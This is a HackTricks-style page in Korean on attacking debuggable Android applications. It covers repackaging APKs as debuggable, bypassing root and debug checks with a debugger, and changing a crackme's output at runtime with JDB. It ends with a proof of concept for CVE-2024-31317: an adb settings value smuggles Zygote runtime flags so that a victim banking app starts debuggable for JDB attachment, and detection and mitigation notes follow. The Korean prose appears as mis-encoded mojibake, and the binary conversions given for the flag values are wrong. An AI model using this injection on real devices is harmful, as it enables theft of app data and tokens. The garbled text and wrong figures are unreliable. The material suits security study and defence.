๋””๋ฒ„๊น… ๊ฐ€๋Šฅํ•œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์•…์šฉํ•˜๊ธฐ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๋ฃจํŠธ ๋ฐ ๋””๋ฒ„๊น… ๊ฐ€๋Šฅ์„ฑ ๊ฒ€์‚ฌ ์šฐํšŒํ•˜๊ธฐ

์ด ๊ฒŒ์‹œ๋ฌผ์˜ ์ด ์„น์…˜์€ https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0 ๊ฒŒ์‹œ๋ฌผ์˜ ์š”์•ฝ์ž…๋‹ˆ๋‹ค.

Android ์•ฑ์„ ๋””๋ฒ„๊น… ๊ฐ€๋Šฅํ•˜๊ฒŒ ๋งŒ๋“ค๊ณ  ๊ฒ€์‚ฌ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•œ ๋‹จ๊ณ„

์•ฑ์„ ๋””๋ฒ„๊น… ๊ฐ€๋Šฅํ•˜๊ฒŒ ๋งŒ๋“ค๊ธฐ

๋‚ด์šฉ์€ https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค.

  1. APK ๋””์ปดํŒŒ์ผ:
  • APK ๋””์ปดํŒŒ์ผ์„ ์œ„ํ•ด APK-GUI ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • android-manifest ํŒŒ์ผ์— android:debuggable="true"๋ฅผ ์‚ฝ์ž…ํ•˜์—ฌ ๋””๋ฒ„๊น… ๋ชจ๋“œ๋ฅผ ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค.
  • ์ˆ˜์ •๋œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋‹ค์‹œ ์ปดํŒŒ์ผํ•˜๊ณ  ์„œ๋ช…ํ•œ ํ›„ zipalignํ•ฉ๋‹ˆ๋‹ค.
  1. ์ˆ˜์ •๋œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์„ค์น˜:
  • ๋ช…๋ น์–ด: adb install <application_name>์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.
  1. ํŒจํ‚ค์ง€ ์ด๋ฆ„ ๊ฐ€์ ธ์˜ค๊ธฐ:
  • adb shell pm list packages โ€“3๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ์„œ๋“œํŒŒํ‹ฐ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋ชฉ๋ก์„ ํ™•์ธํ•˜๊ณ  ํŒจํ‚ค์ง€ ์ด๋ฆ„์„ ์ฐพ์Šต๋‹ˆ๋‹ค.
  1. ์•ฑ์ด ๋””๋ฒ„๊ฑฐ ์—ฐ๊ฒฐ์„ ๊ธฐ๋‹ค๋ฆฌ๋„๋ก ์„ค์ •:
  • ๋ช…๋ น์–ด: adb shell am setup-debug-app โ€“w <package_name>์ž…๋‹ˆ๋‹ค.
  • ์ฐธ๊ณ : ์ด ๋ช…๋ น์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์‹œ์ž‘ํ•˜๊ธฐ ์ „์— ๋งค๋ฒˆ ์‹คํ–‰ํ•ด์•ผ ๋””๋ฒ„๊ฑฐ๋ฅผ ๊ธฐ๋‹ค๋ฆฌ๋„๋ก ์„ค์ •๋ฉ๋‹ˆ๋‹ค.
  • ์ง€์†์„ฑ์„ ์œ„ํ•ด adb shell am setup-debug-app โ€“w โ€“โ€“persistent <package_name>์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • ๋ชจ๋“  ํ”Œ๋ž˜๊ทธ๋ฅผ ์ œ๊ฑฐํ•˜๋ ค๋ฉด adb shell am clear-debug-app <package_name>์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.
  1. Android Studio์—์„œ ๋””๋ฒ„๊น… ์ค€๋น„:
  • Android Studio์—์„œ _File -> Open Profile or APK_๋กœ ์ด๋™ํ•ฉ๋‹ˆ๋‹ค.
  • ๋‹ค์‹œ ์ปดํŒŒ์ผํ•œ APK๋ฅผ ์—ฝ๋‹ˆ๋‹ค.
  1. ์ฃผ์š” Java ํŒŒ์ผ์— ์ค‘๋‹จ์  ์„ค์ •:
  • MainActivity.java(ํŠนํžˆ onCreate ๋ฉ”์„œ๋“œ), b.java, ContextWrapper.java์— ์ค‘๋‹จ์ ์„ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค.

๊ฒ€์‚ฌ ์šฐํšŒํ•˜๊ธฐ

์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ํŠน์ • ์‹œ์ ์—์„œ ๋””๋ฒ„๊น… ๊ฐ€๋Šฅ์„ฑ์„ ํ™•์ธํ•˜๊ณ  ๋ฃจํŒ…๋œ ์žฅ์น˜๋ฅผ ๋‚˜ํƒ€๋‚ด๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๊ฒ€์‚ฌํ•ฉ๋‹ˆ๋‹ค. ๋””๋ฒ„๊ฑฐ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์•ฑ ์ •๋ณด๋ฅผ ์ˆ˜์ •ํ•˜๊ณ , ๋””๋ฒ„๊น… ๊ฐ€๋Šฅ ๋น„ํŠธ๋ฅผ ํ•ด์ œํ•˜๋ฉฐ, ๊ฒ€์ƒ‰๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ ์ด๋ฆ„์„ ๋ณ€๊ฒฝํ•˜์—ฌ ์ด๋Ÿฌํ•œ ๊ฒ€์‚ฌ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋””๋ฒ„๊น… ๊ฐ€๋Šฅ์„ฑ ๊ฒ€์‚ฌ์— ๋Œ€ํ•ด:

  1. ํ”Œ๋ž˜๊ทธ ์„ค์ • ์ˆ˜์ •:
  • ๋””๋ฒ„๊ฑฐ ์ฝ˜์†”์˜ ๋ณ€์ˆ˜ ์„น์…˜์—์„œ ๋‹ค์Œ์œผ๋กœ ์ด๋™ํ•ฉ๋‹ˆ๋‹ค: this mLoadedAPK -> mApplicationInfo -> flags = 814267974.
  • ์ฐธ๊ณ : flags = 814267974์˜ ์ด์ง„ ํ‘œํ˜„์€ 11000011100111011110์œผ๋กœ, โ€œFlag_debuggableโ€œ์ด ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์Œ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.

https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png

์ด ๋‹จ๊ณ„๋“ค์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๋””๋ฒ„๊น… ๊ฐ€๋Šฅํ•˜๋„๋ก ํ•˜๊ณ , ๋””๋ฒ„๊ฑฐ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํŠน์ • ๋ณด์•ˆ ๊ฒ€์‚ฌ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜์—ฌ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋™์ž‘์„ ๋ณด๋‹ค ์‹ฌ์ธต์ ์œผ๋กœ ๋ถ„์„ํ•˜๊ฑฐ๋‚˜ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

2๋‹จ๊ณ„์—์„œ๋Š” ํ”Œ๋ž˜๊ทธ ๊ฐ’์„ 814267972๋กœ ๋ณ€๊ฒฝํ•˜๋Š”๋ฐ, ์ด๋Š” ์ด์ง„์ˆ˜๋กœ 110000101101000000100010100์œผ๋กœ ํ‘œํ˜„๋ฉ๋‹ˆ๋‹ค.

์ทจ์•ฝ์  ์•…์šฉํ•˜๊ธฐ

๋ฒ„ํŠผ๊ณผ ํ…์ŠคํŠธ ๋ทฐ๊ฐ€ ํฌํ•จ๋œ ์ทจ์•ฝํ•œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์‚ฌ์šฉํ•˜์—ฌ ์‹œ์—ฐ์ด ์ œ๊ณต๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ฒ˜์Œ์— ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ โ€œCrack Meโ€œ๋ฅผ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค. ๋ชฉํ‘œ๋Š” ์†Œ์Šค ์ฝ”๋“œ๋ฅผ ์ˆ˜์ •ํ•˜์ง€ ์•Š๊ณ  ๋Ÿฐํƒ€์ž„์—์„œ โ€œTry Againโ€ ๋ฉ”์‹œ์ง€๋ฅผ โ€œHackedโ€œ๋กœ ๋ณ€๊ฒฝํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

์ทจ์•ฝ์  ํ™•์ธํ•˜๊ธฐ

  • apktool์„ ์‚ฌ์šฉํ•˜์—ฌ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋””์ปดํŒŒ์ผํ•˜๊ณ  AndroidManifest.xml ํŒŒ์ผ์— ์ ‘๊ทผํ–ˆ์Šต๋‹ˆ๋‹ค.
  • AndroidManifest.xml์— android_debuggable="true"๊ฐ€ ์กด์žฌํ•˜๋Š” ๊ฒƒ์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๋””๋ฒ„๊น… ๊ฐ€๋Šฅํ•˜๊ณ  ์•…์šฉ๋  ์ˆ˜ ์žˆ์Œ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.
  • apktool์€ ์ฝ”๋“œ๋ฅผ ๋ณ€๊ฒฝํ•˜์ง€ ์•Š๊ณ  ๋””๋ฒ„๊น… ๊ฐ€๋Šฅ ์ƒํƒœ๋ฅผ ํ™•์ธํ•˜๋Š” ๋ฐ๋งŒ ์‚ฌ์šฉ๋œ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์„ค์ • ์ค€๋น„ํ•˜๊ธฐ

  • ์ด ๊ณผ์ •์€ ์—๋ฎฌ๋ ˆ์ดํ„ฐ๋ฅผ ์‹œ์ž‘ํ•˜๊ณ  ์ทจ์•ฝํ•œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์„ค์น˜ํ•˜๋ฉฐ, adb jdwp๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ˆ˜์‹  ๋Œ€๊ธฐ ์ค‘์ธ Dalvik VM ํฌํŠธ๋ฅผ ์‹๋ณ„ํ•˜๋Š” ๊ฒƒ์„ ํฌํ•จํ–ˆ์Šต๋‹ˆ๋‹ค.
  • JDWP(Java Debug Wire Protocol)๋Š” VM์—์„œ ์‹คํ–‰ ์ค‘์ธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋””๋ฒ„๊น…ํ•  ์ˆ˜ ์žˆ๋„๋ก ๊ณ ์œ ํ•œ ํฌํŠธ๋ฅผ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค.
  • ์›๊ฒฉ ๋””๋ฒ„๊น…์„ ์œ„ํ•ด ํฌํŠธ ํฌ์›Œ๋”ฉ์ด ํ•„์š”ํ–ˆ์œผ๋ฉฐ, ์ดํ›„ JDB๋ฅผ ๋Œ€์ƒ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์—ฐ๊ฒฐํ–ˆ์Šต๋‹ˆ๋‹ค.

๋Ÿฐํƒ€์ž„์—์„œ ์ฝ”๋“œ ์ฃผ์ž…ํ•˜๊ธฐ

  • ์•…์šฉ์€ ์ค‘๋‹จ์ ์„ ์„ค์ •ํ•˜๊ณ  ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ํ๋ฆ„์„ ์ œ์–ดํ•˜์—ฌ ์ˆ˜ํ–‰๋˜์—ˆ์Šต๋‹ˆ๋‹ค.
  • classes ๋ฐ methods <class_name>์™€ ๊ฐ™์€ ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๊ตฌ์กฐ๋ฅผ ๋ฐํ˜€๋ƒˆ์Šต๋‹ˆ๋‹ค.
  • onClick ๋ฉ”์„œ๋“œ์— ์ค‘๋‹จ์ ์„ ์„ค์ •ํ•˜๊ณ  ๊ทธ ์‹คํ–‰์„ ์ œ์–ดํ–ˆ์Šต๋‹ˆ๋‹ค.
  • locals, next, set ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋กœ์ปฌ ๋ณ€์ˆ˜๋ฅผ ๊ฒ€์‚ฌํ•˜๊ณ  ์ˆ˜์ •ํ–ˆ์œผ๋ฉฐ, ํŠนํžˆ โ€œTry Againโ€ ๋ฉ”์‹œ์ง€๋ฅผ โ€œHackedโ€œ๋กœ ๋ณ€๊ฒฝํ–ˆ์Šต๋‹ˆ๋‹ค.
  • ์ˆ˜์ •๋œ ์ฝ”๋“œ๋Š” run ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์‹คํ–‰๋˜์–ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์ถœ๋ ฅ์„ ์‹ค์‹œ๊ฐ„์œผ๋กœ ์„ฑ๊ณต์ ์œผ๋กœ ๋ณ€๊ฒฝํ–ˆ์Šต๋‹ˆ๋‹ค.

์ด ์˜ˆ์‹œ๋Š” ๋””๋ฒ„๊น… ๊ฐ€๋Šฅํ•œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋™์ž‘์„ ์กฐ์ž‘ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ณด์—ฌ์ฃผ๋ฉฐ, ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋งฅ๋ฝ์—์„œ ์žฅ์น˜์— ๋Œ€ํ•œ ์…ธ ์ ‘๊ทผ์„ ์–ป๋Š” ๊ฒƒ๊ณผ ๊ฐ™์€ ๋” ๋ณต์žกํ•œ ์•…์šฉ ๊ฐ€๋Šฅ์„ฑ์„ ๊ฐ•์กฐํ•ฉ๋‹ˆ๋‹ค.


2024 โ€“ ๋ชจ๋“  ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋””๋ฒ„๊น… ๊ฐ€๋Šฅํ•œ ํ”„๋กœ์„ธ์Šค๋กœ ์ „ํ™˜ํ•˜๊ธฐ (CVE-2024-31317)

๋Œ€์ƒ APK๊ฐ€ android:debuggable ํ”Œ๋ž˜๊ทธ์™€ ํ•จ๊ป˜ ์ œ๊ณต๋˜์ง€ ์•Š๋”๋ผ๋„, ์ตœ๊ทผ ์—ฐ๊ตฌ์— ๋”ฐ๋ฅด๋ฉด Zygote๊ฐ€ ๋ช…๋ น์ค„ ์ธ์ˆ˜๋ฅผ ๊ตฌ๋ฌธ ๋ถ„์„ํ•˜๋Š” ๋ฐฉ์‹์„ ์•…์šฉํ•˜์—ฌ ์ž„์˜์˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด DEBUG_ENABLE_JDWP ๋Ÿฐํƒ€์ž„ ํ”Œ๋ž˜๊ทธ๋กœ ์‹œ์ž‘๋˜๋„๋ก ๊ฐ•์ œํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์œผ๋กœ ๋‚˜ํƒ€๋‚ฌ์Šต๋‹ˆ๋‹ค.

  • ์ทจ์•ฝ์ : Zygote์˜ ๋ช…๋ น ์†Œ์ผ“์„ ํ†ตํ•ด ์ œ๊ณต๋œ --runtime-flags์— ๋Œ€ํ•œ ๋ถ€์ ์ ˆํ•œ ๊ฒ€์ฆ์œผ๋กœ ์ธํ•ด system_server์— ๋„๋‹ฌํ•  ์ˆ˜ ์žˆ๋Š” ๊ณต๊ฒฉ์ž(์˜ˆ: WRITE_SECURE_SETTINGS ๊ถŒํ•œ์„ ๊ฐ€์ง„ ํŠน๊ถŒ adb ์…ธ์„ ํ†ตํ•ด)๊ฐ€ ์ถ”๊ฐ€ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์กฐ์ž‘๋œ ๋ช…๋ น์ด system_server์— ์˜ํ•ด ์žฌ์ƒ๋  ๋•Œ, ํ”ผํ•ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ _๋””๋ฒ„๊น… ๊ฐ€๋Šฅ_์œผ๋กœ ํฌํฌ๋˜๊ณ  JDWP ์Šค๋ ˆ๋“œ๊ฐ€ ์ˆ˜์‹  ๋Œ€๊ธฐํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ฌธ์ œ๋Š” CVE-2024-31317๋กœ ์ถ”์ ๋˜๋ฉฐ 2024๋…„ 6์›” Android ๋ณด์•ˆ ๊ฒŒ์‹œํŒ์—์„œ ์ˆ˜์ •๋˜์—ˆ์Šต๋‹ˆ๋‹ค.
  • ์˜ํ–ฅ: ๋ชจ๋“  ์•ฑ(ํŠน๊ถŒ ์•ฑ์ธ com.android.settings ํฌํ•จ)์˜ ๊ฐœ์ธ ๋ฐ์ดํ„ฐ ๋””๋ ‰ํ„ฐ๋ฆฌ์— ๋Œ€ํ•œ ์ „์ฒด ์ฝ๊ธฐ/์“ฐ๊ธฐ ์ ‘๊ทผ, ํ† ํฐ ๋„๋‚œ, MDM ์šฐํšŒ, ๊ทธ๋ฆฌ๊ณ  ๋งŽ์€ ๊ฒฝ์šฐ ์ด์ œ ๋””๋ฒ„๊น… ๊ฐ€๋Šฅํ•œ ํ”„๋กœ์„ธ์Šค์˜ ๋‚ด๋ณด๋‚ธ IPC ์—”๋“œํฌ์ธํŠธ๋ฅผ ์•…์šฉํ•˜์—ฌ ๊ถŒํ•œ ์ƒ์Šน์œผ๋กœ ๊ฐ€๋Š” ์ง์ ‘์ ์ธ ๊ฒฝ๋กœ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.
  • ์˜ํ–ฅ์„ ๋ฐ›๋Š” ๋ฒ„์ „: 2024๋…„ 6์›” ํŒจ์น˜ ๋ ˆ๋ฒจ ์ด์ „์˜ Android 9์—์„œ 14๊นŒ์ง€.

๋น ๋ฅธ PoC

# Requires: adb shell (device must be <2024-06-01 patch-level)
# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"

# 2. Launch the target app โ€“ it will be forked with DEBUG_ENABLE_JDWP
adb shell monkey -p com.victim.bank 1

# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
adb jdwp               # obtain the PID
adb forward tcp:8700 jdwp:<pid>
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700

1๋‹จ๊ณ„์—์„œ ์กฐ์ž‘๋œ ๊ฐ’์€ ํŒŒ์„œ๋ฅผ โ€œ๋น ๋ฅธ ๊ฒฝ๋กœโ€œ์—์„œ ๋ฒ—์–ด๋‚˜๊ฒŒ ํ•˜๊ณ , --runtime-flags=0x104 (DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE)๊ฐ€ ํ”„๋ ˆ์ž„์›Œํฌ์— ์˜ํ•ด ์ œ๊ณต๋œ ๊ฒƒ์ฒ˜๋Ÿผ ๋‘ ๋ฒˆ์งธ ํ•ฉ์„ฑ ๋ช…๋ น์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค. ์•ฑ์ด ์ƒ์„ฑ๋˜๋ฉด JDWP ์†Œ์ผ“์ด ์—ด๋ฆฌ๊ณ  ์ผ๋ฐ˜์ ์ธ ๋™์  ๋””๋ฒ„๊ทธ ํŠธ๋ฆญ(๋ฉ”์„œ๋“œ ๊ต์ฒด, ๋ณ€์ˆ˜ ํŒจ์น˜, ๋ผ์ด๋ธŒ Frida ์ฃผ์ž… ๋“ฑ)์ด APK๋‚˜ ์žฅ์น˜ ๋ถ€ํŠธ ์ด๋ฏธ์ง€๋ฅผ ์ˆ˜์ •ํ•˜์ง€ ์•Š๊ณ  ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

ํƒ์ง€ ๋ฐ ์™„ํ™”

  • 2024-06-01 (๋˜๋Š” ์ดํ›„) ๋ณด์•ˆ ์ˆ˜์ค€์œผ๋กœ ํŒจ์น˜ โ€“ Google์€ ZygoteCommandBuffer๋ฅผ ๊ฐ•ํ™”ํ•˜์—ฌ ์ดํ›„ ๋ช…๋ น์ด ์ด ๋ฐฉ์‹์œผ๋กœ ๋ฐ€๋ฐ˜์ž…๋  ์ˆ˜ ์—†๋„๋ก ํ–ˆ์Šต๋‹ˆ๋‹ค.
  • ์ƒ์‚ฐ ์žฅ์น˜์—์„œ WRITE_SECURE_SETTINGS / shell ์ ‘๊ทผ์„ ์ œํ•œํ•ฉ๋‹ˆ๋‹ค. ์ด ์ต์Šคํ”Œ๋กœ์ž‡์€ ์ผ๋ฐ˜์ ์œผ๋กœ ADB ๋˜๋Š” OEM ํŠน๊ถŒ ์•ฑ๋งŒ ๋ณด์œ ํ•˜๋Š” ์ด ๊ถŒํ•œ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.
  • EMM/MDM ๊ด€๋ฆฌ ํ”Œ๋ฆฟ์—์„œ๋Š” ro.debuggable=0์„ ๊ฐ•์ œํ•˜๊ณ  adb disable-verifier๋ฅผ ํ†ตํ•ด ์…ธ์„ ๊ฑฐ๋ถ€ํ•ฉ๋‹ˆ๋‹ค.

์ฐธ์กฐ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ